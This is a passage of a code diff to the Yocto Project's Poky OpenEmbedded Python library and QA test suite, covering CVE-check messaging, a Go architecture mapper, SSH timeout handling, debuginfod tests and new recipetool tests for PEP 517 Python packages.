+++ b/poky/meta/lib/oe/copy_buildsystem.py
@@ -22,7 +22,7 @@ def _smart_copy(src, dest):
mode = os.stat(src).st_mode
if stat.S_ISDIR(mode):
bb.utils.mkdirhier(dest)
- cmd = "tar --exclude='.git' --exclude='__pycache__' --xattrs --xattrs-include='*' -chf - -C %s -p . \
+ cmd = "tar --exclude='.git' --exclude='__pycache__' --xattrs --xattrs-include='*' -cf - -C %s -p . \
| tar --xattrs --xattrs-include='*' -xf - -C %s" % (src, dest)
subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
else:
diff --git a/poky/meta/lib/oe/cve_check.py b/poky/meta/lib/oe/cve_check.py
index 3979d521d1..3fa77bf9a7 100644
--- a/poky/meta/lib/oe/cve_check.py
+++ b/poky/meta/lib/oe/cve_check.py
@@ -95,11 +95,6 @@ def get_patched_cves(d):
for url in oe.patch.src_patches(d):
patch_file = bb.fetch.decodeurl(url)[2]
- # Remote compressed patches may not be unpacked, so silently ignore them
- if not os.path.isfile(patch_file):
- bb.warn("%s does not exist, cannot extract CVE list" % patch_file)
- continue
-
# Check patch file name for CVE ID
fname_match = cve_file_name_match.search(patch_file)
if fname_match:
@@ -107,6 +102,12 @@ def get_patched_cves(d):
patched_cves.add(cve)
bb.debug(2, "Found CVE %s from patch file name %s" % (cve, patch_file))
+ # Remote patches won't be present and compressed patches won't be
+ # unpacked, so say we're not scanning them
+ if not os.path.isfile(patch_file):
+ bb.note("%s is remote or compressed, not scanning content" % patch_file)
+ continue
+
with open(patch_file, "r", encoding="utf-8") as f:
try:
patch_text = f.read()
@@ -172,7 +173,7 @@ def cve_check_merge_jsons(output, data):
for product in output["package"]:
if product["name"] == data["package"][0]["name"]:
- bb.error("Error adding the same package twice")
+ bb.error("Error adding the same package %s twice" % product["name"])
return
output["package"].append(data["package"][0])
diff --git a/poky/meta/lib/oe/go.py b/poky/meta/lib/oe/go.py
new file mode 100644
index 0000000000..dfd957d157
--- /dev/null
+++ b/poky/meta/lib/oe/go.py
@@ -0,0 +1,34 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import re
+
+def map_arch(a):
+ if re.match('i.86', a):
+ return '386'
+ elif a == 'x86_64':
+ return 'amd64'
+ elif re.match('arm.*', a):
+ return 'arm'
+ elif re.match('aarch64.*', a):
+ return 'arm64'
+ elif re.match('mips64el.*', a):
+ return 'mips64le'
+ elif re.match('mips64.*', a):
+ return 'mips64'
+ elif a == 'mips':
+ return 'mips'
+ elif a == 'mipsel':
+ return 'mipsle'
+ elif re.match('p(pc|owerpc)(64le)', a):
+ return 'ppc64le'
+ elif re.match('p(pc|owerpc)(64)', a):
+ return 'ppc64'
+ elif a == 'riscv64':
+ return 'riscv64'
+ elif a == 'loongarch64':
+ return 'loong64'
+ return ''
diff --git a/poky/meta/lib/oe/package.py b/poky/meta/lib/oe/package.py
index 1dd20f85eb..f69bf9c353 100644
--- a/poky/meta/lib/oe/package.py
+++ b/poky/meta/lib/oe/package.py
@@ -456,8 +456,7 @@ def fixup_perms(d):
'sbindir',
'libexecdir',
'libdir',
- 'includedir',
- 'oldincludedir' ]
+ 'includedir' ]
for path in target_path_vars:
dir = d.getVar(path) or ""
diff --git a/poky/meta/lib/oe/patch.py b/poky/meta/lib/oe/patch.py
index ff9afc9df9..9b480b2b28 100644
--- a/poky/meta/lib/oe/patch.py
+++ b/poky/meta/lib/oe/patch.py
@@ -772,8 +772,9 @@ class NOOPResolver(Resolver):
self.patchset.Push()
except Exception:
import sys
- os.chdir(olddir)
raise
+ finally:
+ os.chdir(olddir)
# Patch resolver which relies on the user doing all the work involved in the
# resolution, with the exception of refreshing the remote copy of the patch
@@ -833,9 +834,9 @@ class UserResolver(Resolver):
# User did not fix the problem. Abort.
raise PatchError("Patch application failed, and user did not fix and refresh the patch.")
except Exception:
- os.chdir(olddir)
raise
- os.chdir(olddir)
+ finally:
+ os.chdir(olddir)
def patch_path(url, fetch, workdir, expand=True):
diff --git a/poky/meta/lib/oe/path.py b/poky/meta/lib/oe/path.py
index 0dc8f172d5..e2f1913a35 100644
--- a/poky/meta/lib/oe/path.py
+++ b/poky/meta/lib/oe/path.py
@@ -125,7 +125,8 @@ def copyhardlinktree(src, dst):
if os.path.isdir(src):
if len(glob.glob('%s/.??*' % src)) > 0:
source = './.??* '
- source += './*'
+ if len(glob.glob('%s/**' % src)) > 0:
+ source += './*'
s_dir = src
else:
source = src
diff --git a/poky/meta/lib/oe/sstatesig.py b/poky/meta/lib/oe/sstatesig.py
index 5bf1697e72..e250f51c12 100644
--- a/poky/meta/lib/oe/sstatesig.py
+++ b/poky/meta/lib/oe/sstatesig.py
@@ -142,9 +142,10 @@ class SignatureGeneratorOEBasicHashMixIn(object):
super().set_taskdata(data[3:])
def dump_sigs(self, dataCache, options):
- sigfile = os.getcwd() + "/locked-sigs.inc"
- bb.plain("Writing locked sigs to %s" % sigfile)
- self.dump_lockedsigs(sigfile)
+ if 'lockedsigs' in options:
+ sigfile = os.getcwd() + "/locked-sigs.inc"
+ bb.plain("Writing locked sigs to %s" % sigfile)
+ self.dump_lockedsigs(sigfile)
return super(bb.siggen.SignatureGeneratorBasicHash, self).dump_sigs(dataCache, options)
@@ -598,9 +599,9 @@ def OEOuthashBasic(path, sigfile, task, d):
update_hash(" %10s" % pwd.getpwuid(s.st_uid).pw_name)
update_hash(" %10s" % grp.getgrgid(s.st_gid).gr_name)
except KeyError as e:
- bb.warn("KeyError in %s" % path)
msg = ("KeyError: %s\nPath %s is owned by uid %d, gid %d, which doesn't match "
- "any user/group on target. This may be due to host contamination." % (e, path, s.st_uid, s.st_gid))
+ "any user/group on target. This may be due to host contamination." %
+ (e, os.path.abspath(path), s.st_uid, s.st_gid))
raise Exception(msg).with_traceback(e.__traceback__)
if include_timestamps:
diff --git a/poky/meta/lib/oe/utils.py b/poky/meta/lib/oe/utils.py
index a3b1bb1087..14a7d07ef0 100644
--- a/poky/meta/lib/oe/utils.py
+++ b/poky/meta/lib/oe/utils.py
@@ -7,6 +7,7 @@
import subprocess
import multiprocessing
import traceback
+import errno
def read_file(filename):
try:
@@ -528,3 +529,14 @@ def directory_size(root, blocksize=4096):
total += sum(roundup(getsize(os.path.join(root, name))) for name in files)
total += roundup(getsize(root))
return total
+
+# Update the mtime of a file, skip if permission/read-only issues
+def touch(filename):
+ try:
+ os.utime(filename, None)
+ except PermissionError:
+ pass
+ except OSError as e:
+ # Handle read-only file systems gracefully
+ if e.errno != errno.EROFS:
+ raise e
diff --git a/poky/meta/lib/oeqa/core/target/ssh.py b/poky/meta/lib/oeqa/core/target/ssh.py
index f22836d390..f4dd0ca417 100644
--- a/poky/meta/lib/oeqa/core/target/ssh.py
+++ b/poky/meta/lib/oeqa/core/target/ssh.py
@@ -232,11 +232,12 @@ def SSHCall(command, logger, timeout=None, **opts):
output_raw = b''
starttime = time.time()
process = subprocess.Popen(command, **options)
+ has_timeout = False
if timeout:
endtime = starttime + timeout
eof = False
os.set_blocking(process.stdout.fileno(), False)
- while time.time() < endtime and not eof:
+ while not has_timeout and not eof:
try:
logger.debug('Waiting for process output: time: %s, endtime: %s' % (time.time(), endtime))
if select.select([process.stdout], [], [], 5)[0] != []:
@@ -257,6 +258,10 @@ def SSHCall(command, logger, timeout=None, **opts):
logger.debug('BlockingIOError')
continue
+ if time.time() >= endtime:
+ logger.debug('SSHCall has timeout! Time: %s, endtime: %s' % (time.time(), endtime))
+ has_timeout = True
+
process.stdout.close()
# process hasn't returned yet
@@ -293,6 +298,16 @@ def SSHCall(command, logger, timeout=None, **opts):
pass
process.wait()
+ if has_timeout:
+ # Version of openssh before 8.6_p1 returns error code 0 when killed
+ # by a signal, when the timeout occurs we will receive a 0 error
+ # code because the process is been terminated and it's wrong because
+ # that value means success, but the process timed out.
+ # Afterwards, from version 8.6_p1 onwards, the returned code is 255.
+ # Fix this behaviour by checking the return code
+ if process.returncode == 0:
+ process.returncode = 255
+
options = {
"stdout": subprocess.PIPE,
"stderr": subprocess.STDOUT,
diff --git a/poky/meta/lib/oeqa/runtime/cases/parselogs.py b/poky/meta/lib/oeqa/runtime/cases/parselogs.py
index a805edd79d..cddb846bdf 100644
--- a/poky/meta/lib/oeqa/runtime/cases/parselogs.py
+++ b/poky/meta/lib/oeqa/runtime/cases/parselogs.py
@@ -180,12 +180,6 @@ ignore_errors = {
'Failed to load DMC firmware',
'The driver is built-in, so to load the firmware you need to',
] + x86_common,
- 'edgerouter' : [
- 'not creating \'/sys/firmware/fdt\'',
- 'Failed to find cpu0 device node',
- 'Fatal server error:',
- 'Server terminated with error',
- ] + common_errors,
'beaglebone-yocto' : [
'Direct firmware load for regulatory.db',
'failed to load regulatory.db',
diff --git a/poky/meta/lib/oeqa/runtime/cases/ssh.py b/poky/meta/lib/oeqa/runtime/cases/ssh.py
index 13aac54396..cdbef59500 100644
--- a/poky/meta/lib/oeqa/runtime/cases/ssh.py
+++ b/poky/meta/lib/oeqa/runtime/cases/ssh.py
@@ -13,6 +13,9 @@ class SSHTest(OERuntimeTestCase):
@OETestDepends(['ping.PingTest.test_ping'])
@OEHasPackage(['dropbear', 'openssh-sshd'])
def test_ssh(self):
+ (status, output) = self.target.run('sleep 20', timeout=2)
+ msg='run() timed out but return code was zero.'
+ self.assertNotEqual(status, 0, msg=msg)
(status, output) = self.target.run('uname -a')
self.assertEqual(status, 0, msg='SSH Test failed: %s' % output)
(status, output) = self.target.run('cat /etc/controllerimage')
diff --git a/poky/meta/lib/oeqa/sdk/cases/rust.py b/poky/meta/lib/oeqa/sdk/cases/rust.py
index 31036f0f14..f5d437bb19 100644
--- a/poky/meta/lib/oeqa/sdk/cases/rust.py
+++ b/poky/meta/lib/oeqa/sdk/cases/rust.py
@@ -33,3 +33,25 @@ class RustCompileTest(OESDKTestCase):
def test_cargo_build(self):
self._run('cd %s/hello; cargo build' % self.tc.sdk_dir)
+
+class RustHostCompileTest(OESDKTestCase):
+ td_vars = ['MACHINE', 'SDK_SYS']
+
+ @classmethod
+ def setUpClass(self):
+ targetdir = os.path.join(self.tc.sdk_dir, "hello")
+ try:
+ shutil.rmtree(targetdir)
+ except FileNotFoundError:
+ pass
+ shutil.copytree(os.path.join(self.tc.sdk_files_dir, "rust/hello"), targetdir)
+
+ def setUp(self):
+ machine = self.td.get("MACHINE")
+ if not self.tc.hasHostPackage("packagegroup-rust-cross-canadian-%s" % machine):
+ raise unittest.SkipTest("RustCompileTest class: SDK doesn't contain a Rust cross-canadian toolchain")
+
+ def test_cargo_build(self):
+ sdksys = self.td.get("SDK_SYS")
+ self._run('cd %s/hello; cargo build --target %s-gnu' % (self.tc.sdk_dir, sdksys))
+ self._run('cd %s/hello; cargo run --target %s-gnu' % (self.tc.sdk_dir, sdksys))
diff --git a/poky/meta/lib/oeqa/selftest/case.py b/poky/meta/lib/oeqa/selftest/case.py
index 54d90c78ac..da35b25f68 100644
--- a/poky/meta/lib/oeqa/selftest/case.py
+++ b/poky/meta/lib/oeqa/selftest/case.py
@@ -117,10 +117,6 @@ class OESelftestTestCase(OETestCase):
if e.errno != errno.ENOENT:
raise
- if self.tc.custommachine:
- machine_conf = 'MACHINE ??= "%s"\n' % self.tc.custommachine
- self.set_machine_config(machine_conf)
-
# tests might need their own setup
# but if they overwrite this one they have to call
# super each time, so let's give them an alternative
@@ -178,19 +174,11 @@ class OESelftestTestCase(OETestCase):
self.logger.debug("Writing to: %s\n%s\n" % (dest_path, data))
ftools.write_file(dest_path, data)
- if not multiconfig and self.tc.custommachine and 'MACHINE' in data:
- machine = get_bb_var('MACHINE')
- self.logger.warning('MACHINE overridden: %s' % machine)
-
def append_config(self, data):
"""Append to <builddir>/conf/selftest.inc"""
self.logger.debug("Appending to: %s\n%s\n" % (self.testinc_path, data))
ftools.append_file(self.testinc_path, data)
- if self.tc.custommachine and 'MACHINE' in data:
- machine = get_bb_var('MACHINE')
- self.logger.warning('MACHINE overridden: %s' % machine)
-
def remove_config(self, data):
"""Remove data from <builddir>/conf/selftest.inc"""
self.logger.debug("Removing from: %s\n%s\n" % (self.testinc_path, data))
diff --git a/poky/meta/lib/oeqa/selftest/cases/archiver.py b/poky/meta/lib/oeqa/selftest/cases/archiver.py
index 3fa59fff51..3cb888c506 100644
--- a/poky/meta/lib/oeqa/selftest/cases/archiver.py
+++ b/poky/meta/lib/oeqa/selftest/cases/archiver.py
@@ -141,7 +141,7 @@ class Archiver(OESelftestTestCase):
pn = 'gcc-source-%s' % get_bb_vars(['PV'], 'gcc')['PV']
# Generate the tasks signatures
- bitbake('mc:mc1:%s mc:mc2:%s -c %s -S none' % (pn, pn, task))
+ bitbake('mc:mc1:%s mc:mc2:%s -c %s -S lockedsigs' % (pn, pn, task))
# Check the tasks signatures
# To be machine agnostic the tasks needs to generate the same signature for each machine
diff --git a/poky/meta/lib/oeqa/selftest/cases/buildoptions.py b/poky/meta/lib/oeqa/selftest/cases/buildoptions.py
index 104448442a..31dafaa9c5 100644
--- a/poky/meta/lib/oeqa/selftest/cases/buildoptions.py
+++ b/poky/meta/lib/oeqa/selftest/cases/buildoptions.py
@@ -14,6 +14,7 @@ from oeqa.selftest.cases.buildhistory import BuildhistoryBase
from oeqa.core.decorator.data import skipIfMachine
from oeqa.utils.commands import bitbake, get_bb_var, get_bb_vars
import oeqa.utils.ftools as ftools
+from oeqa.core.decorator import OETestTag
class ImageOptionsTests(OESelftestTestCase):
@@ -204,6 +205,7 @@ class ToolchainOptions(OESelftestTestCase):
self.write_config(features)
bitbake('fortran-helloworld')
+@OETestTag("yocto-mirrors")
class SourceMirroring(OESelftestTestCase):
# Can we download everything from the Yocto Sources Mirror over http only
def test_yocto_source_mirror(self):
diff --git a/poky/meta/lib/oeqa/selftest/cases/debuginfod.py b/poky/meta/lib/oeqa/selftest/cases/debuginfod.py
index 37f51760fb..505b4be837 100644
--- a/poky/meta/lib/oeqa/selftest/cases/debuginfod.py
+++ b/poky/meta/lib/oeqa/selftest/cases/debuginfod.py
@@ -6,7 +6,11 @@
import os
import socketserver
import subprocess
+import time
+import urllib
+import pathlib
+from oeqa.core.decorator import OETestTag
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import bitbake, get_bb_var, runqemu
@@ -21,39 +25,54 @@ class Debuginfod(OESelftestTestCase):
Request the metrics endpoint periodically and wait for there to be no
busy scanning threads.
- Returns True if debuginfod is ready, False if we timed out
+ Returns if debuginfod is ready, raises an exception if not within the
+ timeout.
"""
- import time, urllib
- # Wait a minute
- countdown = 6
- delay = 10
+ # Wait two minutes
+ countdown = 24
+ delay = 5
+ latest = None
while countdown:
+ self.logger.info("waiting...")
time.sleep(delay)
+
+ self.logger.info("polling server")
+ if self.debuginfod.poll():
+ self.logger.info("server dead")
+ self.debuginfod.communicate()
+ self.fail("debuginfod terminated unexpectedly")
+ self.logger.info("server alive")
+
try:
- with urllib.request.urlopen("http://localhost:%d/metrics" % port) as f:
- lines = f.read().decode("ascii").splitlines()
- if "thread_busy{role=\"scan\"} 0" in lines:
- return True
+ with urllib.request.urlopen("http://localhost:%d/metrics" % port, timeout=10) as f:
+ for line in f.read().decode("ascii").splitlines():
+ key, value = line.rsplit(" ", 1)
+ if key == "thread_busy{role=\"scan\"}":
+ latest = int(value)
+ self.logger.info("Waiting for %d scan jobs to finish" % latest)
+ if latest == 0:
+ return
except urllib.error.URLError as e:
+ # TODO: how to catch just timeouts?
self.logger.error(e)
+
countdown -= 1
- return False
+ raise TimeoutError("Cannot connect debuginfod, still %d scan jobs running" % latest)
- def test_debuginfod(self):
- self.write_config(
- """
-DISTRO_FEATURES:append = " debuginfod"
-CORE_IMAGE_EXTRA_INSTALL += "elfutils"
- """
- )
- bitbake("core-image-minimal elfutils-native:do_addto_recipe_sysroot")
+ def start_debuginfod(self):
+ # We assume that the caller has already bitbake'd elfutils-native:do_addto_recipe_sysroot
+
+ # Save some useful paths for later
+ native_sysroot = pathlib.Path(get_bb_var("RECIPE_SYSROOT_NATIVE", "elfutils-native"))
+ native_bindir = native_sysroot / "usr" / "bin"
+ self.debuginfod = native_bindir / "debuginfod"
+ self.debuginfod_find = native_bindir / "debuginfod-find"
- native_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "elfutils-native")
cmd = [
- os.path.join(native_sysroot, "usr", "bin", "debuginfod"),
+ self.debuginfod,
"--verbose",
# In-memory database, this is a one-shot test
"--database=:memory:",
@@ -76,31 +95,64 @@ CORE_IMAGE_EXTRA_INSTALL += "elfutils"
else:
self.fail("Unknown package class %s" % format)
- # Find a free port
+ # Find a free port. Racey but the window is small.
with socketserver.TCPServer(("localhost", 0), None) as s:
- port = s.server_address[1]
- cmd.append("--port=%d" % port)
+ self.port = s.server_address[1]
+ cmd.append("--port=%d" % self.port)
+
+ self.logger.info(f"Starting server {cmd}")
+ self.debuginfod = subprocess.Popen(cmd, env={})
+ self.wait_for_debuginfod(self.port)
+
+
+ def test_debuginfod_native(self):
+ """
+ Test debuginfod outside of qemu, by building a package and looking up a
+ binary's debuginfo using elfutils-native.
+ """
+
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-debuginfod"
+DISTRO_FEATURES:append = " debuginfod"
+""")
+ bitbake("elfutils-native:do_addto_recipe_sysroot xz xz:do_package")
try:
- # Remove DEBUGINFOD_URLS from the environment so we don't try
- # looking in the distro debuginfod
+ self.start_debuginfod()
+
env = os.environ.copy()
- if "DEBUGINFOD_URLS" in env:
- del env["DEBUGINFOD_URLS"]
+ env["DEBUGINFOD_URLS"] = "http://localhost:%d/" % self.port
+
+ pkgs = pathlib.Path(get_bb_var("PKGDEST", "xz"))
+ cmd = (self.debuginfod_find, "debuginfo", pkgs / "xz" / "usr" / "bin" / "xz.xz")
+ self.logger.info(f"Starting client {cmd}")
+ output = subprocess.check_output(cmd, env=env, text=True)
+ # This should be more comprehensive
+ self.assertIn("/.cache/debuginfod_client/", output)
+ finally:
+ self.debuginfod.kill()
+
+ @OETestTag("runqemu")
+ def test_debuginfod_qemu(self):
+ """
+ Test debuginfod-find inside a qemu, talking to a debuginfod on the host.
+ """
+
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-debuginfod"
+DISTRO_FEATURES:append = " debuginfod"
+CORE_IMAGE_EXTRA_INSTALL += "elfutils xz"
+ """)
+ bitbake("core-image-minimal elfutils-native:do_addto_recipe_sysroot")
- self.logger.info(f"Starting server {cmd}")
- debuginfod = subprocess.Popen(cmd, env=env)
+ try:
+ self.start_debuginfod()
with runqemu("core-image-minimal", runqemuparams="nographic") as qemu:
- self.assertTrue(self.wait_for_debuginfod(port))
-
- cmd = (
- "DEBUGINFOD_URLS=http://%s:%d/ debuginfod-find debuginfo /usr/bin/debuginfod"
- % (qemu.server_ip, port)
- )
+ cmd = "DEBUGINFOD_URLS=http://%s:%d/ debuginfod-find debuginfo /usr/bin/xz" % (qemu.server_ip, self.port)
self.logger.info(f"Starting client {cmd}")
status, output = qemu.run_serial(cmd)
# This should be more comprehensive
self.assertIn("/.cache/debuginfod_client/", output)
finally:
- debuginfod.kill()
+ self.debuginfod.kill()
diff --git a/poky/meta/lib/oeqa/selftest/cases/devtool.py b/poky/meta/lib/oeqa/selftest/cases/devtool.py
index b577f6d62a..ab58971fec 100644
--- a/poky/meta/lib/oeqa/selftest/cases/devtool.py
+++ b/poky/meta/lib/oeqa/selftest/cases/devtool.py
@@ -27,6 +27,9 @@ def setUpModule():
corecopydir = os.path.join(templayerdir, 'core-copy')
bblayers_conf = os.path.join(os.environ['BUILDDIR'], 'conf', 'bblayers.conf')
edited_layers = []
+ # make sure user doesn't have a local workspace
+ result = runCmd('bitbake-layers show-layers')
+ assert "workspacelayer" not in result.output, "Devtool test suite cannot be run with a local workspace directory"
# We need to take a copy of the meta layer so we can modify it and not
# have any races against other tests that might be running in parallel
@@ -572,7 +575,7 @@ class DevtoolAddTests(DevtoolBase):
checkvars['S'] = '${WORKDIR}/MarkupSafe-%s' % testver
checkvars['SRC_URI'] = url
self._test_recipe_contents(recipefile, checkvars, [])
-
+
def test_devtool_add_fetch_git(self):
tempdir = tempfile.mkdtemp(prefix='devtoolqa')
self.track_for_cleanup(tempdir)
@@ -1072,7 +1075,12 @@ class DevtoolModifyTests(DevtoolBase):
with open(source, "rt") as f:
content = f.read()
self.assertEquals(content, expected)
- check('devtool', 'This is a test for something\n')
+ if self.td["MACHINE"] == "qemux86":
+ check('devtool', 'This is a test for qemux86\n')
+ elif self.td["MACHINE"] == "qemuarm":
+ check('devtool', 'This is a test for qemuarm\n')
+ else:
+ check('devtool', 'This is a test for something\n')
check('devtool-no-overrides', 'This is a test for something\n')
check('devtool-override-qemuarm', 'This is a test for qemuarm\n')
check('devtool-override-qemux86', 'This is a test for qemux86\n')
diff --git a/poky/meta/lib/oeqa/selftest/cases/recipetool.py b/poky/meta/lib/oeqa/selftest/cases/recipetool.py
index 48661bee6f..55cbba9ca7 100644
--- a/poky/meta/lib/oeqa/selftest/cases/recipetool.py
+++ b/poky/meta/lib/oeqa/selftest/cases/recipetool.py
@@ -445,7 +445,7 @@ class RecipetoolCreateTests(RecipetoolBase):
# Basic test to see if github URL mangling works
temprecipe = os.path.join(self.tempdir, 'recipe')
os.makedirs(temprecipe)
- recipefile = os.path.join(temprecipe, 'meson_git.bb')
+ recipefile = os.path.join(temprecipe, 'python3-meson_git.bb')
srcuri = 'https://github.com/mesonbuild/meson;rev=0.32.0'
result = runCmd(['recipetool', 'create', '-o', temprecipe, srcuri])
self.assertTrue(os.path.isfile(recipefile))
@@ -474,12 +474,149 @@ class RecipetoolCreateTests(RecipetoolBase):
inherits = ['setuptools3']
self._test_recipe_contents(recipefile, checkvars, inherits)
+ def test_recipetool_create_python3_pep517_setuptools_build_meta(self):
+ # This test require python 3.11 or above for the tomllib module
+ # or tomli module to be installed
+ try:
+ import tomllib
+ except ImportError:
+ try:
+ import tomli
+ except ImportError:
+ self.skipTest('Test requires python 3.11 or above for tomllib module or tomli module')
+
+ # Test creating python3 package from tarball (using setuptools.build_meta class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'webcolors'
+ pv = '1.13'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/a1/fb/f95560c6a5d4469d9c49e24cf1b5d4d21ffab5608251c6020a965fb7791c/%s-%s.tar.gz' % (pn, pv)
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SUMMARY'] = 'A library for working with the color formats defined by HTML and CSS.'
+ checkvars['LICENSE'] = set(['BSD-3-Clause'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=702b1ef12cf66832a88f24c8f2ee9c19'
+ checkvars['SRC_URI'] = 'https://files.pythonhosted.org/packages/a1/fb/f95560c6a5d4469d9c49e24cf1b5d4d21ffab5608251c6020a965fb7791c/webcolors-${PV}.tar.gz'
+ checkvars['SRC_URI[md5sum]'] = 'c9be30c5b0cf1cad32e4cbacbb2229e9'
+ checkvars['SRC_URI[sha1sum]'] = 'c90b84fb65eed9b4c9dea7f08c657bfac0e820a5'
+ checkvars['SRC_URI[sha256sum]'] = 'c225b674c83fa923be93d235330ce0300373d02885cef23238813b0d5668304a'
+ checkvars['SRC_URI[sha384sum]'] = '45652af349660f19f68d01361dd5bda287789e5ea63608f52a8cea526ac04465614db2ea236103fb8456b1fcaea96ed7'
+ checkvars['SRC_URI[sha512sum]'] = '074aaf135ac6b0025b88b731d1d6dfa4c539b4fff7195658cc58a4326bb9f0449a231685d312b4a1ec48ca535a838bfa5c680787fe0e61473a2a092c448937d0'
+ inherits = ['python_setuptools_build_meta']
+
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_pep517_poetry_core_masonry_api(self):
+ # This test require python 3.11 or above for the tomllib module
+ # or tomli module to be installed
+ try:
+ import tomllib
+ except ImportError:
+ try:
+ import tomli
+ except ImportError:
+ self.skipTest('Test requires python 3.11 or above for tomllib module or tomli module')
+
+ # Test creating python3 package from tarball (using poetry.core.masonry.api class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'iso8601'
+ pv = '2.1.0'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/b9/f3/ef59cee614d5e0accf6fd0cbba025b93b272e626ca89fb70a3e9187c5d15/%s-%s.tar.gz' % (pn, pv)
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SUMMARY'] = 'Simple module to parse ISO 8601 dates'
+ checkvars['LICENSE'] = set(['MIT'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=aab31f2ef7ba214a5a341eaa47a7f367'
+ checkvars['SRC_URI'] = 'https://files.pythonhosted.org/packages/b9/f3/ef59cee614d5e0accf6fd0cbba025b93b272e626ca89fb70a3e9187c5d15/iso8601-${PV}.tar.gz'
+ checkvars['SRC_URI[md5sum]'] = '6e33910eba87066b3be7fcf3d59d16b5'
+ checkvars['SRC_URI[sha1sum]'] = 'efd225b2c9fa7d9e4a1ec6ad94f3295cee982e61'
+ checkvars['SRC_URI[sha256sum]'] = '6b1d3829ee8921c4301998c909f7829fa9ed3cbdac0d3b16af2d743aed1ba8df'
+ checkvars['SRC_URI[sha384sum]'] = '255002433fe65c19adfd6b91494271b613cb25ef6a35ac77436de1e03d60cc07bf89fd716451b917f1435e4384860ef6'
+ checkvars['SRC_URI[sha512sum]'] = 'db57ab2a25ef91e3bc479c8539d27e853cf1fbf60986820b8999ae15d7e566425a1e0cfba47d0f3b23aa703db0576db368e6c110ba2a2f46c9a34e8ee3611fb7'
+ inherits = ['python_poetry_core']
+
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_pep517_flit_core_buildapi(self):
+ # This test require python 3.11 or above for the tomllib module
+ # or tomli module to be installed
+ try:
+ import tomllib
+ except ImportError:
+ try:
+ import tomli
+ except ImportError:
+ self.skipTest('Test requires python 3.11 or above for tomllib module or tomli module')
+
+ # Test creating python3 package from tarball (using flit_core.buildapi class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'typing-extensions'
+ pv = '4.8.0'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/1f/7a/8b94bb016069caa12fc9f587b28080ac33b4fbb8ca369b98bc0a4828543e/typing_extensions-%s.tar.gz' % pv
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SUMMARY'] = 'Backported and Experimental Type Hints for Python 3.8+'
+ checkvars['LICENSE'] = set(['PSF-2.0'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://LICENSE;md5=fcf6b249c2641540219a727f35d8d2c2'
+ checkvars['SRC_URI'] = 'https://files.pythonhosted.org/packages/1f/7a/8b94bb016069caa12fc9f587b28080ac33b4fbb8ca369b98bc0a4828543e/typing_extensions-${PV}.tar.gz'
+ checkvars['SRC_URI[md5sum]'] = '74bafe841fbd1c27324afdeb099babdf'
+ checkvars['SRC_URI[sha1sum]'] = 'f8bed69cbad4a57a1a67bf8a31b62b657b47f7a3'
+ checkvars['SRC_URI[sha256sum]'] = 'df8e4339e9cb77357558cbdbceca33c303714cf861d1eef15e1070055ae8b7ef'
+ checkvars['SRC_URI[sha384sum]'] = '0bd0112234134d965c6884f3c1f95d27b6ae49cfb08108101158e31dff33c2dce729331628b69818850f1acb68f6c8d0'
+ checkvars['SRC_URI[sha512sum]'] = '5fbff10e085fbf3ac2e35d08d913608d8c8bca66903435ede91cdc7776d775689a53d64f5f0615fe687c6c228ac854c8651d99eb1cb96ec61c56b7ca01fdd440'
+ inherits = ['python_flit_core']
+
+ self._test_recipe_contents(recipefile, checkvars, inherits)
+
+ def test_recipetool_create_python3_pep517_hatchling(self):
+ # This test require python 3.11 or above for the tomllib module
+ # or tomli module to be installed
+ try:
+ import tomllib
+ except ImportError:
+ try:
+ import tomli
+ except ImportError:
+ self.skipTest('Test requires python 3.11 or above for tomllib module or tomli module')
+
+ # Test creating python3 package from tarball (using hatchling class)
+ temprecipe = os.path.join(self.tempdir, 'recipe')
+ os.makedirs(temprecipe)
+ pn = 'jsonschema'
+ pv = '4.19.1'
+ recipefile = os.path.join(temprecipe, 'python3-%s_%s.bb' % (pn, pv))
+ srcuri = 'https://files.pythonhosted.org/packages/e4/43/087b24516db11722c8687e0caf0f66c7785c0b1c51b0ab951dfde924e3f5/jsonschema-%s.tar.gz' % pv
+ result = runCmd('recipetool create -o %s %s' % (temprecipe, srcuri))
+ self.assertTrue(os.path.isfile(recipefile))
+ checkvars = {}
+ checkvars['SUMMARY'] = 'An implementation of JSON Schema validation for Python'
+ checkvars['HOMEPAGE'] = 'https://github.com/python-jsonschema/jsonschema'
+ checkvars['LICENSE'] = set(['MIT'])
+ checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=7a60a81c146ec25599a3e1dabb8610a8 file://json/LICENSE;md5=9d4de43111d33570c8fe49b4cb0e01af'
+ checkvars['SRC_URI'] = 'https://files.pythonhosted.org/packages/e4/43/087b24516db11722c8687e0caf0f66c7785c0b1c51b0ab951dfde924e3f5/jsonschema-${PV}.tar.gz'
